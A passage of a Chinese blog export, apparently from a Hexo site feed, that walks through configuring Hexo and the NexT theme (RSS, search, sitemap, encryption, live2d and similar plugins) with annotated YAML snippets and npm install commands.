<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">index_generator:</span></span><br><span class="line">  <span class="attr">path:</span> <span class="string">&#x27;&#x27;</span></span><br><span class="line">  <span class="attr">per_page:</span> <span class="number">5</span></span><br><span class="line">  <span class="attr">order_by:</span> <span class="string">-date</span></span><br><span class="line"><span class="attr">archive_generator:</span></span><br><span class="line">  <span class="attr">per_page:</span> <span class="number">20</span></span><br><span class="line">  <span class="attr">yearly:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">monthly:</span> <span class="literal">true</span></span><br><span class="line"><span class="attr">tag_generator:</span></span><br><span class="line">  <span class="attr">per_page:</span> <span class="number">10</span></span><br><span class="line"><span class="attr">per_page:</span> <span class="number">10</span></span><br></pre></td></tr></table></figure>
<h4 id="RSS"><a href="#RSS" class="headerlink" title="RSS"></a>RSS</h4><p>　RSS位于站点概览中，可以通过安装插件来完成，安装hexo-generator-feed。</p>
<figure class="highlight ada"><table><tr><td class="code"><pre><span class="line">npm install hexo-generator-feed  <span class="comment">--save</span></span><br></pre></td></tr></table></figure>
<p>　安装插件之后，通过配置plugin字段加载插件。</p>
<figure class="highlight ldif"><table><tr><td class="code"><pre><span class="line"><span class="attribute">plugin</span>: </span><br><span class="line"><span class="literal">-</span> hexo-generator-feed</span><br></pre></td></tr></table></figure>
<p>　对feed字段进行配置，如果不存在，则新建feed字段。</p>
<figure class="highlight dts"><table><tr><td class="code"><pre><span class="line"><span class="symbol">feed:</span></span><br><span class="line"><span class="symbol">  type:</span> atom</span><br><span class="line"><span class="symbol">  path:</span> atom.xml</span><br><span class="line"><span class="symbol">  limit:</span> <span class="number">10</span></span><br><span class="line"><span class="symbol">  hub:</span></span><br><span class="line"><span class="symbol">  content:</span></span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/08/11/598d14d0d8932.png" alt="RSS.png"></p>
<h4 id="主题设置"><a href="#主题设置" class="headerlink" title="主题设置"></a>主题设置</h4><p>　下载喜欢的主题，通过修改theme字段进行更换主题。**<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL2lpc3NuYW4vaGV4by10aGVtZS1uZXh0">Next主题下载<i class="fa fa-external-link-alt"></i></span><strong>，也可以在hexo提供的主题</strong><span class="exturl" data-url="aHR0cHM6Ly9oZXhvLmlvL3RoZW1lcy8=">下载页面<i class="fa fa-external-link-alt"></i></span>**寻找喜欢的主题。</p>
<figure class="highlight vbnet"><table><tr><td class="code"><pre><span class="line"><span class="symbol">theme:</span> <span class="keyword">next</span></span><br></pre></td></tr></table></figure>
<h2 id="主题配置"><a href="#主题配置" class="headerlink" title="主题配置"></a>主题配置</h2><p>　这里介绍Next的主题配置，**<font color=red>主题配置文件</font>**文件路径:\根目录\themes\next\_config.yml。</p>
<h3 id="站标"><a href="#站标" class="headerlink" title="站标"></a>站标</h3><p>　站标位于标签页左边,路径指向source目录下。建议ico大小为32x32。**<span class="exturl" data-url="aHR0cDovL3d3dy5mYXZpY29uaWNvLm9yZy8=">在线制作链接<i class="fa fa-external-link-alt"></i></span>**。</p>
<figure class="highlight arcade"><table><tr><td class="code"><pre><span class="line">favicon: <span class="regexp">/iamges/</span>favicon.ico</span><br></pre></td></tr></table></figure>
<h3 id="社交"><a href="#社交" class="headerlink" title="社交"></a>社交</h3><p>　社交位于站点概览，可以添加GitHub、知乎、微博、豆瓣等社交链接。</p>
<figure class="highlight dts"><table><tr><td class="code"><pre><span class="line"><span class="symbol">social:</span></span><br><span class="line"><span class="symbol">  GitHub:</span> https:<span class="comment">//github.com/hywell</span></span><br></pre></td></tr></table></figure>
<p>　社交ico可以在**<span class="exturl" data-url="aHR0cDovL2ZvbnRhd2Vzb21lLmlvL2ljb25zLw==">图标库<i class="fa fa-external-link-alt"></i></span>**中查找，通过配置social_icons字段进行定义。</p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">social_icons:</span> </span><br><span class="line">  <span class="attr">enable:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">GitHub:</span> <span class="string">github</span></span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/08/11/598d464296fae.png" alt="ico.png"></p>
<h3 id="打赏"><a href="#打赏" class="headerlink" title="打赏"></a>打赏</h3><p>　打赏位于每篇文章底部，可以添加微信、支付宝二维码，并设置感谢语。</p>
<figure class="highlight dts"><table><tr><td class="code"><pre><span class="line"><span class="symbol">reward_comment:</span> 感谢语</span><br><span class="line"><span class="symbol">wechatpay:</span> <span class="keyword">/images/</span>wechatpay.jpg</span><br><span class="line"><span class="symbol">alipay:</span> <span class="keyword">/images/</span>alipay.jpg</span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/08/11/598d4718784ce.png" alt="reward.png"></p>
<h3 id="友链"><a href="#友链" class="headerlink" title="友链"></a>友链</h3><p>　友情链接位于站点概览，可以设置links标题、友链名称、友链链接等。</p>
<figure class="highlight dts"><table><tr><td class="code"><pre><span class="line"><span class="symbol">links_title:</span> 友情链接</span><br><span class="line"><span class="symbol">links:</span></span><br><span class="line"><span class="symbol">  GitHub:</span> https:<span class="comment">//github.com</span></span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/08/11/598d482536a94.png" alt="link.png"></p>
<h3 id="微信二维码"><a href="#微信二维码" class="headerlink" title="微信二维码"></a>微信二维码</h3><p>　微信二维码位于每篇文章底部。有朋自远方来，不亦乐乎！</p>
<figure class="highlight dts"><table><tr><td class="code"><pre><span class="line"><span class="symbol">wechat_subscriber:</span></span><br><span class="line"><span class="symbol">  enabled:</span> true</span><br><span class="line"><span class="symbol">  qcode:</span> <span class="keyword">/images/</span>wechat.jpg</span><br><span class="line"><span class="symbol">  description:</span> 有朋自远方来,不亦乐乎！</span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/08/11/598d4a433d3bd.png" alt="wechat.png"></p>
<h3 id="版权"><a href="#版权" class="headerlink" title="版权"></a>版权</h3><p>　版权信息位于每篇文章底部，表明作者、链接、版权声明。</p>
<figure class="highlight awk"><table><tr><td class="code"><pre><span class="line">post_copyright:</span><br><span class="line">  enable: true</span><br><span class="line">  license: CC BY-NC-SA <span class="number">3.0</span></span><br><span class="line">  license_url: https:<span class="regexp">//</span>creativecommons.org<span class="regexp">/licenses/</span>by-nc-sa<span class="regexp">/3.0/</span></span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/08/11/598d4adfbae02.png" alt="post copyright.png"></p>
<h2 id="结尾"><a href="#结尾" class="headerlink" title="结尾"></a>结尾</h2><p>　通过对以上参数进行配置，相信现在的博客已经开始呈现出一丝丝的与众不同了吧。<br>　生命在于折腾，折腾了博客搭建、折腾了博客配置，接下来开始折腾博客美化了。</p>
]]></content>
      <categories>
        <category>瞎折腾</category>
        <category>博客搭建</category>
      </categories>
      <tags>
        <tag>博客</tag>
      </tags>
  </entry>
  <entry>
    <title>Blog更新&amp;配置文件详解</title>
    <url>/archives/d6a90b9.html</url>
    <content><![CDATA[<p>最近博客的CSS被我玩坏了，顺带就对博客进行整体更新，并且对hexo、nexT的配置文件进行详细的记录。<br>Ps：每篇文章还弄了摘要格式！好累~~下一篇会写nexT主题的自定义优化。</p>
<span id="more"></span>
<p>由于使用hexo-neat插件压缩有问题，然后改用gulp进行压缩。发现来来回回都会有问题，并且提交到GitHub上之后，导致博客的CSS都出问题无法显示。发现nexT主题更新到6.0+，在GitHub上面的路径也换了，最终决定重新搭建博客。</p>
<h1 id="准备"><a href="#准备" class="headerlink" title="准备"></a>准备</h1><p>软件、环境这些可以参考博客搭建这篇文章<a href="/archives/5c83b0d3.html" title="搭建博客">搭建博客</a>。<br>使用hexo init本地新建一个博客之后，下载最新的next主题。</p>
<figure class="highlight awk"><table><tr><td class="code"><pre><span class="line">$ cd hexo</span><br><span class="line">$ git clone https:<span class="regexp">//gi</span>thub.com<span class="regexp">/theme-next/</span>hexo-theme-<span class="keyword">next</span> themes/<span class="keyword">next</span></span><br></pre></td></tr></table></figure>
<h1 id="配置"><a href="#配置" class="headerlink" title="配置"></a>配置</h1><p>以前写的文章对Hexo、nexT的配置文件没有进行详细的说明，这次搭建的时候发现有点头痛！因此，这次准备把所用到的各个字段都进行记录，便于以后出现意外情况再次重建。</p>
<h2 id="Hexo配置"><a href="#Hexo配置" class="headerlink" title="Hexo配置"></a>Hexo配置</h2><p>Hexo的配置为hexo根目录下的_config.yml文件。</p>
<h3 id="Site配置"><a href="#Site配置" class="headerlink" title="Site配置"></a>Site配置</h3><p>用于配置站点的主要属性。</p>
<figure class="highlight avrasm"><table><tr><td class="code"><pre><span class="line"><span class="meta"># Site</span></span><br><span class="line"><span class="symbol">title:</span> <span class="meta">#站点主标题</span></span><br><span class="line"><span class="symbol">subtitle:</span> <span class="meta">#站点副标题</span></span><br><span class="line"><span class="symbol">description:</span> <span class="meta">#站点描述</span></span><br><span class="line"><span class="symbol">author:</span> <span class="meta">#站点作者</span></span><br><span class="line"><span class="symbol">language:</span> <span class="meta">#站点语言</span></span><br><span class="line"><span class="symbol">timezone:</span> <span class="meta">#站点时区</span></span><br></pre></td></tr></table></figure>
<h3 id="Url配置"><a href="#Url配置" class="headerlink" title="Url配置"></a>Url配置</h3><p>用于配置Url请求时的主要属性。<br>Url这块我进行了优化，安装了hexo-abbrlink插件：让文章链接唯一化。在hexo根目录下执行<code>$ npm install hexo-abbrlink --save</code></p>
<figure class="highlight clean"><table><tr><td class="code"><pre><span class="line"># URL</span><br><span class="line">## If your site is put <span class="keyword">in</span> a subdirectory, set url <span class="keyword">as</span> <span class="string">&#x27;http://yoursite.com/child&#x27;</span> and root <span class="keyword">as</span> <span class="string">&#x27;/child/&#x27;</span></span><br><span class="line">url: #站点url</span><br><span class="line">enforce_ssl: #强制使用ssl</span><br><span class="line">root: #站点目录</span><br><span class="line">permalink: archives/:abbrlink.html #站点链接设置</span><br><span class="line">abbrlink: #abbrlink设置</span><br><span class="line">  alg: crc32  # 算法：crc16(default) and crc32</span><br><span class="line">  rep: hex    # 进制：dec(default) and hex</span><br><span class="line">  ## crc16 &amp; hex</span><br><span class="line">  ##  https:<span class="comment">//iassas.com/posts/66c8.html</span></span><br><span class="line">  ## crc16 &amp; dec</span><br><span class="line">  ##  https:<span class="comment">//iassas.com/posts/65535.html</span></span><br><span class="line">  ## crc32 &amp; hex</span><br><span class="line">  ##  https:<span class="comment">//iassas.com/posts/8ddf18fb.html</span></span><br><span class="line">  ## crc32 &amp; dec</span><br><span class="line">  ##  https:<span class="comment">//iassas.com/posts/1690090958.html</span></span><br><span class="line">permalink_defaults:</span><br></pre></td></tr></table></figure>
<h3 id="Directory配置"><a href="#Directory配置" class="headerlink" title="Directory配置"></a>Directory配置</h3><p>用于配置站点目录的主要属性。该部分的配置不需要修改。</p>
<figure class="highlight avrasm"><table><tr><td class="code"><pre><span class="line"><span class="meta"># Directory</span></span><br><span class="line"><span class="symbol">source_dir:</span> source        <span class="meta">#资源文件夹，这个文件夹用来存放内容</span></span><br><span class="line"><span class="symbol">public_dir:</span> public        <span class="meta">#公共文件夹，这个文件夹用于存放生成的站点文件</span></span><br><span class="line"><span class="symbol">tag_dir:</span> tags             <span class="meta">#标签文件夹</span></span><br><span class="line"><span class="symbol">archive_dir:</span> archives     <span class="meta">#归档文件夹</span></span><br><span class="line"><span class="symbol">category_dir:</span> categories  <span class="meta">#分类文件夹</span></span><br><span class="line"><span class="symbol">code_dir:</span> downloads/code  <span class="meta">#Include code 文件夹</span></span><br><span class="line"><span class="symbol">i18n_dir:</span> :lang           <span class="meta">#国际化（i18n）文件夹</span></span><br><span class="line"><span class="symbol">skip_render:</span>              <span class="meta">#跳过指定文件的渲染，您可使用 glob 表达式来匹配路径</span></span><br></pre></td></tr></table></figure>
<h3 id="Writing配置"><a href="#Writing配置" class="headerlink" title="Writing配置"></a>Writing配置</h3><p>用于配置写作时的主要属性。该部分的配置不需要修改。</p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Writing</span></span><br><span class="line"><span class="attr">new_post_name:</span> <span class="string">:title.md</span>                <span class="comment">#新文章的文件名称</span></span><br><span class="line"><span class="attr">default_layout:</span> <span class="string">post</span>                    <span class="comment">#预设布局</span></span><br><span class="line"><span class="attr">titlecase:</span> <span class="literal">false</span>                        <span class="comment">#把标题转换为 title case</span></span><br><span class="line"><span class="attr">external_link:</span> <span class="literal">true</span>                     <span class="comment">#在新标签中打开链接</span></span><br><span class="line"><span class="attr">filename_case:</span> <span class="number">0</span>                        <span class="comment">#把文件名称转换为 (1) 小写或 (2) 大写</span></span><br><span class="line"><span class="attr">render_drafts:</span> <span class="literal">false</span>                    <span class="comment">#显示草稿</span></span><br><span class="line"><span class="attr">post_asset_folder:</span> <span class="literal">false</span>                <span class="comment">#启动 Asset 文件夹</span></span><br><span class="line"><span class="attr">relative_link:</span> <span class="literal">false</span>                    <span class="comment">#把链接改为与根目录的相对位址</span></span><br><span class="line"><span class="attr">future:</span> <span class="literal">true</span>                            <span class="comment">#显示未来的文章</span></span><br><span class="line"><span class="attr">highlight:</span>                              <span class="comment">#代码块的设置</span></span><br><span class="line">  <span class="attr">enable:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">line_number:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">auto_detect:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">tab_replace:</span></span><br></pre></td></tr></table></figure>
<h3 id="Home-page配置"><a href="#Home-page配置" class="headerlink" title="Home page配置"></a>Home page配置</h3><p>用于配置主页的主要属性。</p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Home page setting</span></span><br><span class="line"><span class="comment"># path: Root path for your blogs index page. (default = &#x27;&#x27;)</span></span><br><span class="line"><span class="comment"># per_page: Posts displayed per page. (0 = disable pagination)</span></span><br><span class="line"><span class="comment"># order_by: Posts order. (Order by date descending by default)</span></span><br><span class="line"><span class="attr">index_generator:</span> <span class="comment">#主页索引</span></span><br><span class="line">  <span class="attr">path:</span> <span class="string">&#x27;&#x27;</span></span><br><span class="line">  <span class="attr">per_page:</span> <span class="number">5</span></span><br><span class="line">  <span class="attr">order_by:</span> <span class="string">-date</span></span><br><span class="line"></span><br><span class="line"><span class="attr">archive_generator:</span> <span class="comment">#档案索引</span></span><br><span class="line">  <span class="attr">per_page:</span> <span class="number">20</span></span><br><span class="line">  <span class="attr">yearly:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">monthly:</span> <span class="literal">true</span></span><br><span class="line"></span><br><span class="line"><span class="attr">tag_generator:</span> <span class="comment">#标签索引</span></span><br><span class="line">  <span class="attr">per_page:</span> <span class="number">10</span></span><br></pre></td></tr></table></figure>
<h3 id="Category-amp-Tag配置"><a href="#Category-amp-Tag配置" class="headerlink" title="Category &amp; Tag配置"></a>Category &amp; Tag配置</h3><p>用于配置分类、标签的主要属性。</p>
<figure class="highlight avrasm"><table><tr><td class="code"><pre><span class="line"><span class="meta"># Category &amp; Tag</span></span><br><span class="line"><span class="symbol">default_category:</span> uncategorized      <span class="meta">#默认分类</span></span><br><span class="line"><span class="symbol">category_map:</span>                        <span class="meta">#分类别名</span></span><br><span class="line"><span class="symbol">tag_map:</span>                             <span class="meta">#标签别名</span></span><br></pre></td></tr></table></figure>
<h3 id="Date配置"><a href="#Date配置" class="headerlink" title="Date配置"></a>Date配置</h3><p>用于配置日期的主要属性。该部分的配置不需要修改。</p>
<figure class="highlight clean"><table><tr><td class="code"><pre><span class="line"># Date / Time format</span><br><span class="line">## Hexo uses Moment.js to parse and display date</span><br><span class="line">## You can customize the date format <span class="keyword">as</span> defined <span class="keyword">in</span></span><br><span class="line">## http:<span class="comment">//momentjs.com/docs/#/displaying/format/</span></span><br><span class="line">date_format: YYYY-MM-DD       #日期格式</span><br><span class="line">time_format: HH:mm:ss         #时间格式</span><br></pre></td></tr></table></figure>
<h3 id="Pagination配置"><a href="#Pagination配置" class="headerlink" title="Pagination配置"></a>Pagination配置</h3><p>用于配置分页的主要属性。</p>
<figure class="highlight avrasm"><table><tr><td class="code"><pre><span class="line"><span class="meta"># Pagination</span></span><br><span class="line"><span class="meta">## Set per_page to 0 to disable pagination</span></span><br><span class="line"><span class="symbol">per_page:</span> <span class="number">10</span>                   <span class="meta">#每页显示的文章量 (0 = 关闭分页功能)</span></span><br><span class="line"><span class="symbol">pagination_dir:</span> page           <span class="meta">#分页目录</span></span><br></pre></td></tr></table></figure>
<h3 id="Extensions配置"><a href="#Extensions配置" class="headerlink" title="Extensions配置"></a>Extensions配置</h3><p>用于扩展的主要属性。<br>plugin我加了hexo-generator-feed（用来生成RSS），theme我选择用next。</p>
<figure class="highlight clean"><table><tr><td class="code"><pre><span class="line"># Extensions</span><br><span class="line">## Plugins: https:<span class="comment">//hexo.io/plugins/</span></span><br><span class="line">## Themes: https:<span class="comment">//hexo.io/themes/</span></span><br><span class="line">plugin: </span><br><span class="line">  - hexo-generator-feed</span><br><span class="line">theme: next</span><br></pre></td></tr></table></figure>
<h3 id="Deployment配置"><a href="#Deployment配置" class="headerlink" title="Deployment配置"></a>Deployment配置</h3><p>用于配置部署的主要属性。<br>我就选择部署到GitHub，还支持Heroku、Rsync、OpenShift、FTPSync等。可以参考<span class="exturl" data-url="aHR0cHM6Ly9oZXhvLmlvL3poLWNuL2RvY3MvZGVwbG95bWVudC5odG1s" title="官网部署说明">官网说明<i class="fa fa-external-link-alt"></i></span>。<br>部署到GitHub需要安装hexo-deployer-git插件，在hexo根目录下执行<code>$ npm install hexo-deployer-git --save</code>。</p>
<figure class="highlight dts"><table><tr><td class="code"><pre><span class="line"><span class="meta"># Deployment</span></span><br><span class="line"><span class="meta">## Docs: https:<span class="comment">//hexo.io/docs/deployment.html</span></span></span><br><span class="line"><span class="symbol">deploy:</span></span><br><span class="line"><span class="symbol">  type:</span> git</span><br><span class="line"><span class="symbol">  repo:</span> https:<span class="comment">//github.com/youname/youname.github.io.git</span></span><br><span class="line"><span class="symbol">  branch:</span> master</span><br></pre></td></tr></table></figure>
<h3 id="search配置"><a href="#search配置" class="headerlink" title="search配置"></a>search配置</h3><p>用于配置搜索的主要属性。<br>启用搜索需要安装hexo-generator-search、hexo-generator-searchdb插件，在hexo根目录下执行</p>
<figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">$ npm install hexo<span class="operator">-</span>generator<span class="operator">-</span><span class="keyword">search</span> <span class="comment">--save</span></span><br><span class="line">$ npm install hexo<span class="operator">-</span>generator<span class="operator">-</span>searchdb <span class="comment">--save</span></span><br></pre></td></tr></table></figure>
<p>安装完之后还需要在nexT主题里面进行配置。后续会说到如何配置，稳住。</p>
<figure class="highlight dts"><table><tr><td class="code"><pre><span class="line"><span class="symbol">search:</span></span><br><span class="line"><span class="symbol">  path:</span> search.xml</span><br><span class="line"><span class="symbol">  field:</span> post</span><br><span class="line"><span class="symbol">  format:</span> html</span><br><span class="line"><span class="symbol">  limit:</span> <span class="number">10000</span></span><br></pre></td></tr></table></figure>
<h3 id="feed配置"><a href="#feed配置" class="headerlink" title="feed配置"></a>feed配置</h3><p>用于配置RSS。<br>RSS和ATOM的区别，可以参考<span class="exturl" data-url="aHR0cDovL3d3dy5jbmJsb2dzLmNvbS95am15enovYXJjaGl2ZS8yMDA5LzAyLzE5LzEzOTM5NzIuaHRtbA==">这里<i class="fa fa-external-link-alt"></i></span>。</p>
<figure class="highlight dts"><table><tr><td class="code"><pre><span class="line"><span class="symbol">feed:</span></span><br><span class="line"><span class="symbol">  type:</span> atom        <span class="meta">#atom/rss2</span></span><br><span class="line"><span class="symbol">  path:</span> atom.xml    <span class="meta">#feed路径</span></span><br><span class="line"><span class="symbol">  limit:</span> <span class="number">10</span>         <span class="meta">#最大帖子数</span></span><br><span class="line"><span class="symbol">  hub:</span>           </span><br><span class="line"><span class="symbol">  content:</span>          <span class="meta">#true/false 是否将整个页面包含进去</span></span><br></pre></td></tr></table></figure>
<h3 id="hexo-neat配置"><a href="#hexo-neat配置" class="headerlink" title="hexo-neat配置"></a>hexo-neat配置</h3><p>用于博客压缩，加快访问速度。<br>启用压缩需要安装hexo-neat，在hexo根目录下执行<code>$ npm install hexo-neat --save</code></p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># hexo-neat 静态资源压缩</span></span><br><span class="line"><span class="attr">neat_enable:</span> <span class="literal">true</span> </span><br><span class="line"><span class="attr">neat_html:</span></span><br><span class="line">  <span class="attr">enable:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">exclude:</span> </span><br><span class="line"><span class="attr">neat_css:</span></span><br><span class="line">  <span class="attr">enable:</span> <span class="literal">false</span></span><br><span class="line">  <span class="attr">exclude:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">&#x27;*.min.css&#x27;</span></span><br><span class="line"><span class="attr">neat_js:</span></span><br><span class="line">  <span class="attr">enable:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">mangle:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">output:</span></span><br><span class="line">  <span class="attr">compress:</span></span><br><span class="line">  <span class="attr">exclude:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">&#x27;*.min.js&#x27;</span></span><br></pre></td></tr></table></figure>
<h3 id="hexo-encypt配置"><a href="#hexo-encypt配置" class="headerlink" title="hexo-encypt配置"></a>hexo-encypt配置</h3><p>用于文章加密。<br>启用文章加密需要安装hexo-blog-encrypt，在hexo根目录下执行<code>$ npm install hexo-blog-encrypt --save</code></p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 文章加密功能</span></span><br><span class="line"><span class="attr">encrypt:</span></span><br><span class="line">  <span class="attr">enable:</span> <span class="literal">true</span></span><br></pre></td></tr></table></figure>
<p>启用加密功能需要在文章的Front-matter部分添加password字段即可。建议修改post.md模版，目录为hexo\scaffolds\。</p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">title:</span> &#123;&#123; <span class="string">title</span> &#125;&#125;</span><br><span class="line"><span class="attr">date:</span> &#123;&#123; <span class="string">date</span> &#125;&#125;</span><br><span class="line"><span class="attr">tags:</span> </span><br><span class="line"><span class="attr">categories:</span> </span><br><span class="line"><span class="attr">password:</span>          <span class="comment">#文章密码</span></span><br><span class="line"><span class="attr">abstract:</span>          <span class="comment">#文章摘要</span></span><br><span class="line"><span class="attr">message:</span>           <span class="comment">#密码提示</span></span><br><span class="line"><span class="meta">---</span></span><br></pre></td></tr></table></figure>
<h3 id="hexo-autonofollowp配置"><a href="#hexo-autonofollowp配置" class="headerlink" title="hexo-autonofollowp配置"></a>hexo-autonofollowp配置</h3><p>用于外部链接优化，主要作用：</p>
<ol>
<li>防止不可信的内容，最常见的是博客上的垃圾留言与评论中为了获取外链的垃圾链接，为了防止页面指向一些拉圾页面和站点。</li>
<li>付费链接：为了防止付费链接影响Google的搜索结果排名，Google建议使用nofollow属性。</li>
<li>引导爬虫抓取有效的页面：避免爬虫抓取一些无意义的页面，影响爬虫抓取的效率。<br>其主要方法是给所有外部链接加上rel&#x3D;”external nofollow”属性，对外部链接target&#x3D;”_blank”采用在新窗口种打开外部链接的方法。<br>启用该功能需要安装hexo-autonofollowp，在hexo根目录下执行<code>$ npm install hexo-autonofollowp --save</code><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 外部链接优化</span></span><br><span class="line"><span class="attr">nofollow:</span></span><br><span class="line">    <span class="attr">enable:</span> <span class="literal">true</span></span><br><span class="line">    <span class="attr">exclude:</span>     <span class="comment"># 例外的链接，可将友情链接放置此处</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">&#x27;yousite&#x27;</span></span><br></pre></td></tr></table></figure></li>
</ol>
<h3 id="sitemap配置"><a href="#sitemap配置" class="headerlink" title="sitemap配置"></a>sitemap配置</h3><p>用于站点地图配置，主要用于SEO优化。<br>启用该功能需要安装hexo-generator-sitemap、hexo-generator-baidu-sitemap，在hexo根目录下执行</p>
<figure class="highlight mipsasm"><table><tr><td class="code"><pre><span class="line">$ npm <span class="keyword">install </span>hexo-generator-sitemap --save</span><br><span class="line">$ npm <span class="keyword">install </span>hexo-generator-<span class="keyword">baidu-sitemap </span>--save</span><br></pre></td></tr></table></figure>
<p>配置如下</p>
<figure class="highlight dts"><table><tr><td class="code"><pre><span class="line"><span class="meta"># hexo sitemap</span></span><br><span class="line"><span class="symbol">sitemap:</span></span><br><span class="line"><span class="symbol">  path:</span> sitemap.xml</span><br><span class="line"><span class="symbol">baidusitemap:</span></span><br><span class="line"><span class="symbol">  path:</span> baidusitemap.xml</span><br></pre></td></tr></table></figure>
<h3 id="symblos-count-time配置"><a href="#symblos-count-time配置" class="headerlink" title="symblos_count_time配置"></a>symblos_count_time配置</h3><p>用于站点字数、阅读时间统计等。<br>启用该功能需要安装hexo-symbols-count-time，在hexo根目录和next主题目录下执行<code>$ npm install hexo-symbols-count-time --save</code>。**<font color='red'>注意这里我是两个地方都执行</font>**。</p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">symbols_count_time:</span></span><br><span class="line">  <span class="attr">symbols:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">time:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">total_symbols:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">total_time:</span> <span class="literal">true</span></span><br></pre></td></tr></table></figure>
<h3 id="live2d配置"><a href="#live2d配置" class="headerlink" title="live2d配置"></a>live2d配置</h3><p>用于站点’吉祥物’设置，作用应该是美化站点吧。手动&#x2F;斜眼笑！<br>想要吉祥物的话需要先安装hexo-helper-live2d，在hexo根目录下执行<code>$ npm install hexo-helper-live2d --save</code>。接下来修改next主题目录的_layout.swig文件，路径为hexo\themes\next\layout\。在合适的地方给它安个家，要在body标签之间，例如</p>
<figure class="highlight handlebars"><table><tr><td class="code"><pre><span class="line"><span class="language-xml"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><span class="template-variable">&#123;&#123; <span class="name">live2d</span>() &#125;&#125;</span><span class="language-xml"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span></span><br></pre></td></tr></table></figure>
<p>也可以看看喜欢什么<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL0VZSE4vaGV4by1oZWxwZXItbGl2ZTJkL2Jsb2IvbWFzdGVyL1JFQURNRS56aC1DTi5tZA==" title="GitHub-live2d">吉祥物<i class="fa fa-external-link-alt"></i></span>。</p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">live2d:</span></span><br><span class="line">  <span class="attr">model:</span> <span class="string">z16</span></span><br><span class="line">  <span class="attr">bottom:</span> <span class="number">-30</span></span><br><span class="line">  <span class="attr">mobileShow:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">mobileScaling:</span> <span class="number">0.5</span></span><br></pre></td></tr></table></figure>
<h3 id="lazyload配置"><a href="#lazyload配置" class="headerlink" title="lazyload配置"></a>lazyload配置</h3><p>用于图片快速加载设置。<br>启用该功能需要安装hexo-lazyload-image，在hexo根目录在执行<code>$ npm install hexo-lazyload-image --save</code></p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">lazyload:</span></span><br><span class="line">  <span class="attr">enable:</span> <span class="literal">true</span> </span><br><span class="line">  <span class="attr">onlypost:</span> <span class="literal">false</span></span><br><span class="line">  <span class="attr">loadingImg:</span> <span class="comment"># eg. ./images/loading.png</span></span><br></pre></td></tr></table></figure>
<h2 id="nexT配置"><a href="#nexT配置" class="headerlink" title="nexT配置"></a>nexT配置</h2><p>nexT的配置文件为next目录下的_config.yml文件，路径为hexo\themes\next_config.yml。由于nexT的配置较多，就记录修改或者启用的地方。配置文件中所填写的目录路径皆为&#x2F;source目录下，例如修改图标来源将参数值设置成&#x2F;images&#x2F;favicon.ico的话，表示来源为hexo\themes\next\source\images\favicon.ico。</p>
<h3 id="favicon设置"><a href="#favicon设置" class="headerlink" title="favicon设置"></a>favicon设置</h3><p>用于图标设置，效果显示在站点标签页的地方。</p>
<figure class="highlight gradle"><table><tr><td class="code"><pre><span class="line">favicon:</span><br><span class="line">  small: <span class="regexp">/images/</span>favicon-<span class="number">16</span>x16-<span class="keyword">next</span>.ico</span><br><span class="line">  medium: <span class="regexp">/images/</span>favicon-<span class="number">32</span>x32-<span class="keyword">next</span>.ico</span><br><span class="line">  apple_touch_icon: <span class="regexp">/images/</span>apple-touch-icon-<span class="keyword">next</span>.png</span><br><span class="line">  #safari_pinned_tab: <span class="regexp">/images/</span>logo.svg</span><br><span class="line">  #android_manifest: <span class="regexp">/images/m</span>anifest.json</span><br><span class="line">  #ms_browserconfig: <span class="regexp">/images/</span>browserconfig.xml</span><br></pre></td></tr></table></figure>
<h3 id="keyword设置"><a href="#keyword设置" class="headerlink" title="keyword设置"></a>keyword设置</h3><p>用于关键字设置。</p>
<figure class="highlight avrasm"><table><tr><td class="code"><pre><span class="line"><span class="symbol">keywords:</span> <span class="string">&quot;keyword1, keyword2, keyword3&quot;</span></span><br></pre></td></tr></table></figure>
<h3 id="rss设置"><a href="#rss设置" class="headerlink" title="rss设置"></a>rss设置</h3><p>用于rss设置，结合hexo中的设置。</p>
<figure class="highlight avrasm"><table><tr><td class="code"><pre><span class="line"><span class="symbol">rss:</span> /atom.xml</span><br></pre></td></tr></table></figure>
